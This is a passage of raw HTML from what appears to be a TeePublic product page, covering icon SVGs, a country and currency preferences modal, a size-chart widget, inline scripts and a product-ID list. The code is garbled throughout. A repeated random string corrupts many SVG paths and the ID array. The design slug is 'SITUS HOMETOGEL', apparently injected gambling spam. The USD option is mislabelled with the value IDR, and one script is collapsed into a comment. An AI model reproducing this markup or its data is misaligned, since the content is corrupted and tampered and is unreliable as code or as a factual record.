                <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="20" height="20" focusable="false" aria-hidden="true">
                 <path d="M42.049 21.297a1.951 1.951 0 0 1 0 3.902H39.95a1.951 1.951 0 0 1 0-3.902h2.098Zm-36.098 0a1.951 1.951 0 0 0 0 3.902H8.05a1.951 1.951 0 0 0 0-3.902h-2.1ZM22 6a2 2 0 1 1 4 0v1.854a2 2 0 1 1-4 0V6Zm-.373 38a2.927 2.927 0 0 1 0-5.854h5.146a2.927 2.927 0 0 1 0 5.854h-5.146ZM35.353 9.89a2.035 2.035 0 0 1 2.829 0 1.918 1.918 0 0 1 0 2.76l-1.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo 0 0-2.829 0 1.918 1.918 0 0 0 0 2.76l1.414 1.38a2.035 2.035 0 0 0 2.829 0 1.918 1.918 0 0 0 0-2.76l-1.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo4.925-11 11a10.98 10.98 0 0 0 4.105 8.57c.274.222.395.578.395.93a2.5 2.5 0 0 0 2.5 2.5h8a2.5 2.5 0 0 0 2.5-2.5Z"></path>
                </svg>
               </span>
               <span class='link__content'>
                <span>FAQ</span>
               </span>
              </a>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Contact Us" data-href="/contact" href="/contact" class="link m-tray-shop__support-link link--1 link--default link--strong tp-btn--icon">
               <span class="teepublicon teepublicon--primary-400 teepublicon-background--transparent">
                <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="20" height="20" focusable="false" aria-hidden="true">
                 <path d="M28.595 5.507c-.198-1.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo-.372.988.222 1.917 1.273 2.005 1.357.113 3.646.222 7.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo 2.847.976 2.148-2.089 5.57-5.816 9.259-11.392 3.87-5.85 5.615-9.665 6.377-11.688.372-.988-.221-1.917-1.273-2.004-1.357-.113-3.645-.223-7.415-.223h-.023c.015-.711.024-1.458.024-2.242 0-4.794-.308-8.222-.606-10.416Z"></path>
                </svg>
               </span>
               <span class='link__content'>
                <span>Contact Us</span>
               </span>
              </a>
             </div>
            </div>
           </div>
           </a>
          </div>
         </section>
       </div>
       </menu>
       <div class='modal modal-default' id='intl-settings'>
        <div class='modal-container'>
         <div class='modal__close-ctrl close-modal close-reveal-modal jsCloseModal'>
          <span class="teepublicon teepublicon--color-orange-400 teepublicon-background--transparent">
           <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="16" height="16" focusable="false" aria-hidden="true">
            <path d="M6.88 36.879a3 3 0 1 0 4.242 4.242L24 28.243 36.879 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.88a3 3 0 1 0-4.24 4.24L19.758 24 6.879 36.879Z"></path>
           </svg>
          </span>
         </div>
         <div class='custom-modal-content'>
          <div class='m-browse-preferences'>
           <div class='m-browse-preferences__h'>Update Your Browsing Preferences</div>
           <form action="/browse_preferences/change" accept-charset="UTF-8" method="post">
            <input type="hidden" name="authenticity_token" value="i-HmcXSZvpcEsQcH8y1vIvPXN7DZ4eco4eiM7RuYF7hROv90NvndPP1djOPVqdtNfP3cXlm-rwXt4_6VCtbelA" autocomplete="off" />
            <input value="{&quot;design_slug&quot;:&quot;SITUS HOMETOGEL&quot;,&quot;controller&quot;:&quot;product_pages&quot;,&quot;action&quot;:&quot;show&quot;,&quot;id&quot;:&quot;74165272-george-kittle-f-dallas-kittle&quot;}" autocomplete="off" type="hidden" name="referring_params" id="referring_params" />
            <div class='form__group'>
             <div class='form__field'>
              <label class="label--heavy" for="country">Shipping Country:</label>
              <div class='select__wrap'>
               <select class="select form__control" name="country" id="country">
                <option value="AG">Antigua and Barbuda</option>
                <option value="AR">Argentina</option>
                <option value="AW">Aruba</option>
                <option value="AU">Australia</option>
                <option value="AT">Austria</option>
                <option value="BS">Bahamas</option>
                <option value="BB">Barbados</option>
                <option value="BE">Belgium</option>
                <option value="BZ">Belize</option>
                <option value="BM">Bermuda</option>
                <option value="BG">Bulgaria</option>
                <option value="CA">Canada</option>
                <option value="KY">Cayman Islands</option>
                <option value="CO">Colombia</option>
                <option value="CR">Costa Rica</option>
                <option value="HR">Croatia</option>
                <option value="CY">Cyprus</option>
                <option value="CZ">Czech Republic</option>
                <option value="DK">Denmark</option>
                <option value="DO">Dominican Republic</option>
                <option value="EE">Estonia</option>
                <option value="FI">Finland</option>
                <option value="FR">France</option>
                <option value="GE">Georgia</option>
                <option value="DE">Germany</option>
                <option value="GI">Gibraltar</option>
                <option value="GR">Greece</option>
                <option value="HT">Haiti</option>
                <option value="HK">Hong Kong</option>
                <option value="HU">Hungary</option>
                <option value="IS">Iceland</option>
                <option value="IE">Ireland</option>
                <option value="IT">Italy</option>
                <option value="JM">Jamaica</option>
                <option value="JP">Japan</option>
                <option value="KR">Korea, Republic of</option>
                <option value="LV">Latvia</option>
                <option value="LI">Liechtenstein</option>
                <option value="LT">Lithuania</option>
                <option value="LU">Luxembourg</option>
                <option value="MY">Malaysia</option>
                <option value="MV">Maldives</option>
                <option value="MT">Malta</option>
                <option value="MC">Monaco</option>
                <option value="NL">Netherlands</option>
                <option value="NZ">New Zealand</option>
                <option value="NO">Norway</option>
                <option value="PL">Poland</option>
                <option value="PT">Portugal</option>
                <option value="PR">Puerto Rico</option>
                <option value="RO">Romania</option>
                <option value="KN">Saint Kitts and Nevis</option>
                <option value="LC">Saint Lucia</option>
                <option value="RS">Serbia</option>
                <option value="SG">Singapore</option>
                <option value="SK">Slovakia (Slovak Republic)</option>
                <option value="SI">Slovenia</option>
                <option value="ES">Spain</option>
                <option value="LK">Sri Lanka</option>
                <option value="SE">Sweden</option>
                <option value="CH">Switzerland</option>
                <option value="TW">Taiwan</option>
                <option value="TH">Thailand</option>
                <option value="TT">Trinidad and Tobago</option>
                <option value="GB">United Kingdom</option>
                <option selected="selected" value="US">United States</option>
                <option value="UY">Uruguay</option>
               </select>
              </div>
             </div>
             <div class='form__field'>
              <label class="label--heavy" for="currency">Currency:</label>
              <div class='select__wrap'>
               <select class="select form__control" name="currency" id="currency">
                <option selected="selected" value="IDR">$ United States Dollar (USD)</option>
                <option value="AUD">$ Australian Dollar (AUD)</option>
                <option value="CAD">$ Canadian Dollar (CAD)</option>
                <option value="GBP">£ Pound Sterling (GBP)</option>
                <option value="EUR">€ Euro (EUR)</option>
               </select>
              </div>
             </div>
             <div class='m-browse-preferences__btn-cont'>
              <input type="submit" name="commit" value="Update" class="btn btn--large btn--full" data-disable-with="Update" />
             </div>
             <div class='m-browse-preferences__btn-cont'>
              <a class='link link--1 text-center close-modal close-reveal-modal jsCloseModal' id='dismiss-modal-custom'>Cancel</a>
             </div>
            </div>
           </form>
          </div>
         </div>
        </div>
        <div class='modal__close-ctrl close-modal close-reveal-modal jsCloseModal'>
         <span class="teepublicon teepublicon--light-default teepublicon-background--transparent">
          <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="24" height="24" focusable="false" aria-hidden="true">
           <path d="M6.88 36.879a3 3 0 1 0 4.242 4.242L24 28.243 36.879 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.88a3 3 0 1 0-4.24 4.24L19.758 24 6.879 36.879Z"></path>
          </svg>
         </span>
        </div>
       </div>
       <div class='modal modal-default' id='mobile-size-chart'>
        <div class='modal-container'>
         <div class='modal__close-ctrl close-modal close-reveal-modal jsCloseModal'>
          <span class="teepublicon teepublicon--color-orange-400 teepublicon-background--transparent">
           <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="16" height="16" focusable="false" aria-hidden="true">
            <path d="M6.88 36.879a3 3 0 1 0 4.242 4.242L24 28.243 36.879 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.88a3 3 0 1 0-4.24 4.24L19.758 24 6.879 36.879Z"></path>
           </svg>
          </span>
         </div>
         <div class='custom-modal-content'>
          <div class='m-sizer jsProductMainImage jsSizer hidden'>
           <div class='m-sizer__slider jsSizerSlider glide'>
            <div class='glide__wrapper m-sizer__slider-wrap jsSizerWrap'></div>
            <div class='glide__bullets'></div>
            <div class='glide__arrows m-sizer__slider-arrows' data-glide-el='controls'>
             <div class='m-sizer__slider-arrow glide__arrow prev' data-glide-dir='&lt;'>
              <span class='jsSizerPrevText'></span>
             </div>
             <div class='m-sizer__slider-arrow glide__arrow next' data-glide-dir='&gt;'>
              <span class='jsSizerNextText'></span>
             </div>
            </div>
           </div>
           <p class='m-sizer__slider-text'>
            <span class='m-sizer__slider-name jsSizerModelName'>Katie:</span>
            <span class='jsSizerModelHeight'>5'10"</span>
            <span class='jsSizerModelWeight'>160</span>
           </p>
           <div class='m-sizer__configs-wrap jsSizerConfigs on' data-canvas='1'>
            <span class="teepublicon teepublicon--light-default teepublicon-background--transparent m-sizer__configs-ctrl jsShowSizerConfigs">
             <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 50 50" width="24" height="24" aria-labelledby="title">
              <path fill-rule="evenodd" d="M49 38.5H38.845A7.494 7.494 0 0 0 32.5 35a7.494 7.494 0 0 0-6.345 3.5H1a1 1 0 0 0-1 1v6a1 1 0 0 0 1 1h25.155A7.494 7.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo1 0 0-8 4 4 0 0 0 0 8ZM49 21H18.845a7.494 7.494 0 0 0-6.345-3.5A7.495 7.495 0 0 0 6.155 21H1a1 1 0 0 0-1 1v6a1 1 0 0 0 1 1h5.155a7.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo8a4 4 0 1 0 0-8 4 4 0 0 0 0 8ZM49 3.5h-5.155A7.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo 7.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo1 0 0-8 4 4 0 0 0 0 8Z" clip-rule="evenodd"></path>
              <title>Filter Options</title>
              <desc>Click to return to the Size Chart filter options menu.</desc>
             </svg>
            </span>
            <div class='m-sizer__configs text-center'>
             <div class='m-sizer__config'>
              <label class='m-sizer__prompt'>Select your person:</label>
              <div class='m-sizer__btns jsSizerConfigBtns jsSizerConfigGenders'>
               <button class='btn on' data-config='gender-male'>Male</button>
               <button class='btn' data-config='gender-female'>Female</button>
              </div>
             </div>
             <div class='m-sizer__config'>
              <label class='m-sizer__label'>Height</label>
              <div class='m-sizer__btns jsSizerConfigBtns'>
               <button class='btn' data-config='height-short'>Short</button>
               <button class='btn on' data-config='height-reg'>Med</button>
               <button class='btn' data-config='height-tall'>Tall</button>
              </div>
             </div>
             <div class='m-sizer__config'>
              <label class='m-sizer__label'>Weight</label>
              <div class='m-sizer__btns jsSizerConfigBtns'>
               <button class='btn' data-config='weight-thin'>Slim</button>
               <button class='btn on' data-config='weight-reg'>Avg</button>
               <button class='btn jsSizerBtnWeight' data-config='weight-curvy'>Heavy</button>
              </div>
             </div>
             <div class='m-sizer__view'>
              <button class='btn btn--green btn--large jsViewSizerSlider'>View Size Chart</button>
             </div>
            </div>
           </div>
          </div>
         </div>
        </div>
        <div class='modal__close-ctrl close-modal close-reveal-modal jsCloseModal'>
         <span class="teepublicon teepublicon--light-default teepublicon-background--transparent">
          <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="24" height="24" focusable="false" aria-hidden="true">
           <path d="M6.88 36.879a3 3 0 1 0 4.242 4.242L24 28.243 36.879 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.88a3 3 0 1 0-4.24 4.24L19.758 24 6.879 36.879Z"></path>
          </svg>
         </span>
        </div>
       </div>
       <script>
        window.TeePublic = window.TeePublic || {};
        window.TeePublic.features = {};
        window.TeePublic._data = {};
        window.TeePublic.requestController = 'product_pages';
        window.TeePublic.requestAction = 'show';
        window.TeePublic.requestId = '3be9d95d-1200-4c87-ac81-ade852a75de5';
       </script>
       <script>
        var xhr = new XMLHttpRequest();
        xhr.open('GET', '/designs/74165272/canvas/1/product_images', true);
        xhr.onload = function() {
          if (xhr.status >= 200 && xhr.status < 400) {
           var data = JSON.parse(xhr.responseText);
           var productImages = data.images;
           window.TeePublic.ProductImages = productImages; // Update the gallery if a product selection has been made const productImageSwapQueue = window.TeePublic && window.TeePublic.ProductImageSwapQueue; if (!productImageSwapQueue) return; window.TeePublic.ProductHelper.updateGallery( productImageSwapQueue.gallery, productImageSwapQueue.productId ); } else { console.error('Error: ' + xhr.status); } }; xhr.onerror = function(error) { console.error('Error: ' + error); }; xhr.send(); function checkProductImageSwapQueue() { } 
       </script>
       
       <script src="https://assets.teepublic.com/assets/product_page-2af4d77ccb74974f4afec6972768b6abd2dca23b01d5b2e7380c8a38dff3c308.js"></script>
       <script src="https://assets.teepublic.com/packs/js/product_page-c8d7a3eb618da10ad666.js"></script>
       <script>
        TeePublic.initialSelectedProduct = 357 TeePublic['ab_tests'] = {};
        TeePublic['icons'] = {
         "selected_check": "\u003cspan class=\"teepublicon teepublicon--dark-default teepublicon-background--light-default teepublicon-variant--circle default\"\u003e\u003csvg viewbox=\"0 0 48 48\"
         xmlns = \"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" focusable=\"false\" aria-hidden=\"true\"\u003e\u003cpath fill-rule=\"evenodd\" clip-rule=\"evenodd\" d=\"M24 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.48-3.992L21.52 28.492l-5.28-5.922a3 3 0 0 0-4.478 3.993l7.518 8.433a3 3 0 0 0 4.479 0l12.481-14Z\"\u003e\u003c/path\u003e\u003c/svg\u003e\u003c/span\u003e",
         "uploader_remove_img": "\u003cspan class=\"teepublicon teepublicon--error-red teepublicon-background--light-default teepublicon--round\"\u003e\u003csvg
         xmlns = \"http://www.w3.org/2000/svg\" viewbox=\"0 0 50 50\" width=\"16\" height=\"16\" aria-labelledby=\"title\"\u003e\u003cpath fill-rule=\"evenodd\" d=\"M50 25c0 13.807-11.193 25-25 25S0 38.807 0 25 11.193 0 25 0s25 11.193 25 25ZM15.611 11.793a1 1 0 0 1 1.415 0l7.99 7.99 7.99-7.99a1 1 0 0 1 1.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo1-1.414 0l-7.99-7.99-7.99 7.99a1 1 0 0 1-1.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJorule=\"evenodd\"\u003e\u003c/path\u003e\u003ctitle\u003eRemove from upload\u003c/title\u003e\u003c/svg\u003e\u003c/span\u003e",
         "tee_outline": "\u003cspan class=\"teepublicon teepublicon--blue-default teepublicon-background--transparent\"\u003e\u003csvg
         xmlns = \"http://www.w3.org/2000/svg\" viewbox=\"0 0 50 50\" width=\"24\" height=\"24\" focusable=\"false\" aria-hidden=\"true\"\u003e\u003cpath d=\"M25.004 8.974c3.745 0 6.805-2.94 7.01-5.27a.218.218 0 0 1 .25-.2l6.178 1.133c.207.038.396.139.543.289l10.724 10.94c.392.4.387 1.042-.011 1.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.017 1.017 0 0 1-1.017 1.033H12.282a1.017 1.017 0 0 1-1.017-1.033l.356-22.663a.203.203 0 0 0-.339-.155l-2.204 1.98c-.4.36-1.01.345-1.394-.033L.302 17.302a1.018 1.018 0 0 1-.01-1.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo271 7.01 5.271Z\"\u003e\u003c/path\u003e\u003c/svg\u003e\u003c/span\u003e",
         "medical_heart": "\u003cspan class=\"teepublicon teepublicon--error-red teepublicon-background--transparent\"\u003e\u003csvg
         xmlns = \"http://www.w3.org/2000/svg\" viewbox=\"0 0 50 50\" width=\"24\" height=\"24\" focusable=\"false\" aria-hidden=\"true\"\u003e\u003cpath fill-rule=\"evenodd\" d=\"M25 7.46a13.82 13.82 0 0 1 11.382-5.658C43.967 1.919 50.087 8.237 50 15.814c-.154 13.301-16.281 26.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo92 13.618 1.802A13.82 13.82 0 0 1 25 7.459Zm2.944 7.052a1.06 1.06 0 0 1 1.058 1.06v5.94h5.942a1.06 1.06 0 0 1 1.058 1.06v5.882c0 .584-.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo06v-5.94h-5.94a1.059 1.059 0 0 1-1.06-1.06v-5.882a1.06 1.06 0 0 1 1.06-1.059h5.94v-5.94c0-.585.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJospan\u003e",
         "product_info": "\u003cspan class=\"teepublicon teepublicon--blue-default teepublicon-background--transparent\"\u003e\u003csvg
         xmlns = \"http://www.w3.org/2000/svg\" viewbox=\"0 0 50 50\" width=\"24\" height=\"24\" focusable=\"false\" aria-hidden=\"true\"\u003e\u003cpath d=\"M40.958 0a6.982 6.982 0 0 1 6.982 6.982V33.91a6.982 6.982 0 0 1-6.982 6.981H25l-13.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo 9.042 0h31.916Zm-15.46 27.627h-.997a2.992 2.992 0 0 0-2.992 2.992v.998a2.992 2.992 0 0 0 2.992 2.992h.998a2.992 2.992 0 0 0 2.992-2.992v-.998a2.992 2.992 0 0 0-2.992-2.992Zm1.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.938h3.105c1.079 0 1.962-.86 1.994-1.938l.384-13.365v-.057a1.995 1.995 0 0 0-1.994-1.995Z\"\u003e\u003c/path\u003e\u003c/svg\u003e\u003c/span\u003e",
         "add_to_merch_light": "\u003cspan class=\"teepublicon teepublicon--light-default teepublicon-background--transparent\"\u003e\u003csvg viewbox=\"0 0 48 48\" fill=\"none\"
         xmlns = \"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" focusable=\"false\" aria-hidden=\"true\"\u003e\n\u003cpath fill-rule=\"evenodd\" clip-rule=\"evenodd\" d=\"M44 24C44 35.0457 35.0457 44 24 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.6569 10.1106 27 11.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo8895 27H27V34.8895C27 36.5463 25.6569 37.8895 24 37.8895C22.3431 37.8895 21 36.5463 21 34.8895V27H13.1106C11.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo22.3431 10.1106 24 10.1106Z\"\u003e\u003c/path\u003e\n\u003c/svg\u003e\u003c/span\u003e",
         "add_to_merch_primary": "\u003cspan class=\"teepublicon teepublicon--primary-500 teepublicon-background--transparent\"\u003e\u003csvg viewbox=\"0 0 48 48\" fill=\"none\"
         xmlns = \"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" focusable=\"false\" aria-hidden=\"true\"\u003e\n\u003cpath fill-rule=\"evenodd\" clip-rule=\"evenodd\" d=\"M44 24C44 35.0457 35.0457 44 24 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.6569 10.1106 27 11.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo8895 27H27V34.8895C27 36.5463 25.6569 37.8895 24 37.8895C22.3431 37.8895 21 36.5463 21 34.8895V27H13.1106C11.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo22.3431 10.1106 24 10.1106Z\"\u003e\u003c/path\u003e\n\u003c/svg\u003e\u003c/span\u003e",
         "remove_from_merch_light": "\u003cspan class=\"teepublicon teepublicon--light-default teepublicon-background--transparent\"\u003e\u003csvg viewbox=\"0 0 48 48\"
         xmlns = \"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" focusable=\"false\" aria-hidden=\"true\"\u003e\u003cpath fill-rule=\"evenodd\" clip-rule=\"evenodd\" d=\"M24 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo9543 44 24 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo0003 13.1106 27.0003L34.8895 27.0003C36.5463 27.0003 37.8895 25.6571 37.8895 24.0003C37.8895 22.3434 36.5463 21.0003 34.8895 21.0003L13.1106 21.0003Z\"\u003e\u003c/path\u003e\n\u003c/svg\u003e\u003c/span\u003e",
         "remove_from_merch_primary": "\u003cspan class=\"teepublicon teepublicon--primary-500 teepublicon-background--transparent\"\u003e\u003csvg viewbox=\"0 0 48 48\"
         xmlns = \"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" focusable=\"false\" aria-hidden=\"true\"\u003e\u003cpath fill-rule=\"evenodd\" clip-rule=\"evenodd\" d=\"M24 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo9543 44 24 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo0003 13.1106 27.0003L34.8895 27.0003C36.5463 27.0003 37.8895 25.6571 37.8895 24.0003C37.8895 22.3434 36.5463 21.0003 34.8895 21.0003L13.1106 21.0003Z\"\u003e\u003c/path\u003e\n\u003c/svg\u003e\u003c/span\u003e"
        }
        TeePublic['ProductOptions'] = {
         "DesignOptions": {
          "active_product_ids": [2952, 2953, 2954, 2955, 2956, 2958, 2959, 2960, 2961, 2962, 2982, 2983, 2984, 2985, 2986, 2964, 2965, 2966, 2967, 2968, 2970, 2971, 2972, 2973, 2974, 2957, 2963, 2987, 2969, 2975, 315, 316, 317, 318, 363, 364, 365, 366, 321, 322, 323, 324, 1672, 1673, 1674, 1675, 357, 358, 359, 360, 1814, 1815, 1816, 1817, 1808, 1809, 1810, 1811, 381, 382, 383, 384, 1696, 1697, 1698, 1699, 1684, 1685, 1686, 1687, 369, 370, 371, 372, 1690, 1691, 1692, 1693, 339, 340, 341, 342, 351, 352, 353, 354, 375, 376, 377, 378, 327, 328, 329, 330, 1678, 1679, 1680, 1681, 345, 346, 347, 348, 1666, 1667, 1668, 1669, 333, 334, 335, 336, 919, 920, 921, 922, 901, 902, 903, 904, 1752, 1753, 1754, 1755, 913, 914, 915, 916, 1746, 1747, 1748, 1749, 907, 908, 909, 910, 925, 926, 927, 928, 3217, 3218, 3221, 3220, 387, 388, 389, 390, 397, 398, 399, 400, 392, 393, 394, 395, 1708, 1709, 1710, 1711, 442, 443, 444, 445, 1732, 1733, 1734, 1735, 422, 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo, 3184, 1726, 1727, 1728, 1729, 412, 413, 414, 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo1703, 1704, 1705, 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo19, 3, 1676, 15, 1818, 1812, 21, 1700, 1688, 373, 1694, 9, 13, 17, 5, 1682, 11, 1670, 337, 923, 905, 1756, 917, 1750, 911, 929, 3219, 391, 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo, 3131, 3149, 3167, 2, 20, 4, 1677, 16, 1819, 1813, 22, 1701, 1689, 374, 1695, 10, 14, 18, 6, 1683, 12, 1671, 8, 924, 906, 1757, 918, 1751, 912, 930, 2836, 2837, 2838, 2839, 2844, 2845, 2846, 2847, 2852, 2853, 2854, 2855, 2860, 2861, 2862, 2863, 2868, 2869, 2870, 2871, 2876, 2877, 2878, 2879, 2884, 2885, 2886, 2887, 984, 979, 976, 1713, 983, 1737, 978, 3319, 981, 3186, 982, 977, 3204, 1967, 1707, 980, 3132, 3150, 3168, 3500, 3508, 3516, 3524, 3503, 3511, 3519, 3527, 3499, 3507, 3515, 3523, 3506, 3514, 3522, 3530, 3502, 3510, 3518, 3526, 3505, 3513, 3521, 3529, 3501, 3509, 3517, 3525, 3504, 3512, 3520, 3528, 2814, 2815, 2816, 2817, 2808, 2809, 2810, 2811, 2790, 2791, 2792, 2793, 2802, 2803, 2804, 2805, 2826, 2827, 2828, 2829, 2820, 2821, 2822, 2823, 2796, 2797, 2798, 2799, 3569, 3578, 3587, 3596, 3605, 3571, 3580, 3589, 3598, 3607, 3567, 3576, 3585, 3594, 3603, 3575, 3584, 3593, 3602, 3611, 3574, 3583, 3592, 3601, 3610, 3572, 3581, 3590, 3599, 3608, 3573, 3582, 3591, 3600, 3609, 542, 543, 536, 537, 534, 535, 3403, 3406, 540, 541, 3427, 3430, 3409, 3412, 3439, 3442, 3445, 3448, 3415, 3418, 3433, 3436, 3421, 3424, 3451, 3454, 960, 531, 532, 533, 3457, 3460, 3463, 3466, 3469, 3472, 538, 539, 3475, 3478, 3487, 3490, 3481, 3484, 3493, 3496, 3348, 3349, 3350, 3351, 3354, 3355, 3356, 3357, 3336, 3337, 3338, 3339, 3342, 3343, 3344, 3345, 3360, 3361, 3362, 3363, 3366, 3367, 3368, 3369, 3532, 3535, 3531, 3538, 3534, 3537, 3533, 3536, 3233, 3234, 3247, 3246, 3249, 3250, 3244, 3251, 3248, 3238, 3235, 3236, 3240, 3241, 3239, 3237, 1020, 1021, 1022, 1023, 1025, 1026, 1027, 1028, 829, 830, 831, 832, 1035, 1036, 1037, 1038, 823, 824, 825, 826, 1045, 1046, 1047, 1048, 1030, 1031, 1032, 1033, 1040, 1041, 1042, 1043, 985, 986, 987, 988, 990, 991, 992, 993, 806, 807, 808, 809, 1000, 1001, 1002, 1003, 1010, 1011, 1012, 1013, 995, 996, 997, 998, 1005, 1006, 1007, 1008, 1015, 1016, 1017, 1018, 1136, 1137, 1138, 1139, 1104, 1105, 1106, 1107, 1108, 1109, 1110, 1111, 1100, 1101, 1102, 1103, 1128, 1129, 1130, 1131, 1116, 1117, 1118, 1119, 1120, 1121, 1122, 1123, 1112, 1113, 1114, 1115, 1132, 1133, 1134, 1135, 1124, 1125, 1126, 1127, 1357, 1358, 1359, 1360, 1342, 1343, 1344, 1345, 1327, 1328, 1329, 1330, 1352, 1353, 1354, 1355, 1347, 1348, 1349, 1350, 1332, 1333, 1334, 1335, 1322, 1323, 1324, 1325, 1337, 1338, 1339, 1340, 3614, 3623, 3616, 3625, 3612, 3621, 3620, 3629, 3619, 3628, 3617, 3626, 3618, 3627, 